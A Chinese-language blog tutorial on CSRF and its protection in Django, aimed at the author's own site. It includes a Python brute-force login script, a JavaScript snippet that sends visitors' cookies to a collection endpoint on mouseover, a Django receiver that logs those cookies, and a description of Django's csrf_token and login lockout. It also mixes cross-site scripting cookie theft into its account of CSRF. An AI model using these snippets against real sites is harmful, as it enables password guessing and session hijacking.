CSRF攻擊及防護

      在〈CSRF攻擊及防護〉中尚無留言

CSRF 全名為 Cross Site Request Forgery跨站請求偽裝

簡易入侵法

以本站登入畫面為例 http://mahaljsp.ddns.net/login/

在網頁按右鍵檢視原始碼,或 F12,就可以看到表單中的
帳號欄 name=”userAccount”,
密碼欄 name=” userPassword”,

然後使用如下程式即可暴力破解。

import requests
accounts=["kevin","tracy","john","hello"]
passwords=["abcdefgh", "password", "1234","123456","xyz"]
for account in accounts:
for password in passwords:
param={"userAccount":account, "userPassword":password}
page=requests.post("http://mahaljsp.ddns.net/login/", data=param)
print(f"目前正在測試 {password}....")
print(page.text)
if "mahaljsp" in page.text:
print(f"正確密碼 : {password}")
break

當然本站有 CSRF 防護外,所以執行上面的代碼,會得到 Forbidden 403 的結果。

<div id="summary">
<h1>Forbidden <span>(403)</span></h1>
<p>CSRF verification failed. Request aborted.</p>

抓取前端 Cookie

前端網頁撰寫如下 javascript ,當客戶端只要滑鼠一滑過圖片,連按都不用按,客戶端的 cookie 就立即傳到後台。

<body>
<img src="/static/images/tiger.jpg" width="400" height="300"
onmouseover="get_cookie();"
/>
</body>
<script>
function get_cookie(){
(new Image()).src =
"http://mahaljsp.ddns.net/cookie_steal?cookie=" + document.cookie;
}
</script>

後台的 cookie_steal 為接收網頁,只需使用 python 撰寫如下代碼即可將 cookie 取出

def steal(request):
if "cookie" in request.GET:
print("cookie",request.GET["cookie"])
return HttpResponse()

後台取得Cookie

當使用者連入伺服器時,也會自動將 Cookie 傳入後台。後台只要使用 request.META.items() 即可取得使用者的 ip 及 Cookie。

def html(request):
values=request.META.items();
info={}
for item in list(values):
info[item[0]]=item[1]
data={}
data['ip']=info["HTTP_X_FORWARDED_FOR"]
data['cookie']=info["HTTP_COOKIE"]
return render(request, 'cookie_get.html',data)

CSRF 保護機制

Django 具有 CSRF 機制,只需在 <form>的後面加入 {% csrf_tokek %} 即可產生一個驗証的權杖,請看本站的網頁原始碼

<form action="/login/" method="post">
<input type="hidden" name="csrfmiddlewaretoken" value="Jra5eYr5j4nAkK6CYYNCQDTvIvmVnSaACDvHAWGy0x0XNYQBkH6plR2a8mykjiET">

表單中有一個 input type =”hidden”,value 就是由 {% csrf_token %} 產生的權杖,由本站發送給使用端,這權杖亦會儲存在本站中。當使用者傳送表單後,本站立即核對這組權杖是否正確。任何人想用上面的程式入侵,會因為沒有權杖,所以本站直接給予 403 禁止連線。

Selenium是否可暴力破解

是的,Selenium 可以暴力破解。但本站另有防護機制,只能嘗式登入三次,三次帳密都錯誤,立即鎖定 ip 二小時。

本站是否無堅不催

道高一尺,魔高一丈,駭客的領域遠比我們的認知更加黑暗及高明,只要是網路就沒有絕對的安全。

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *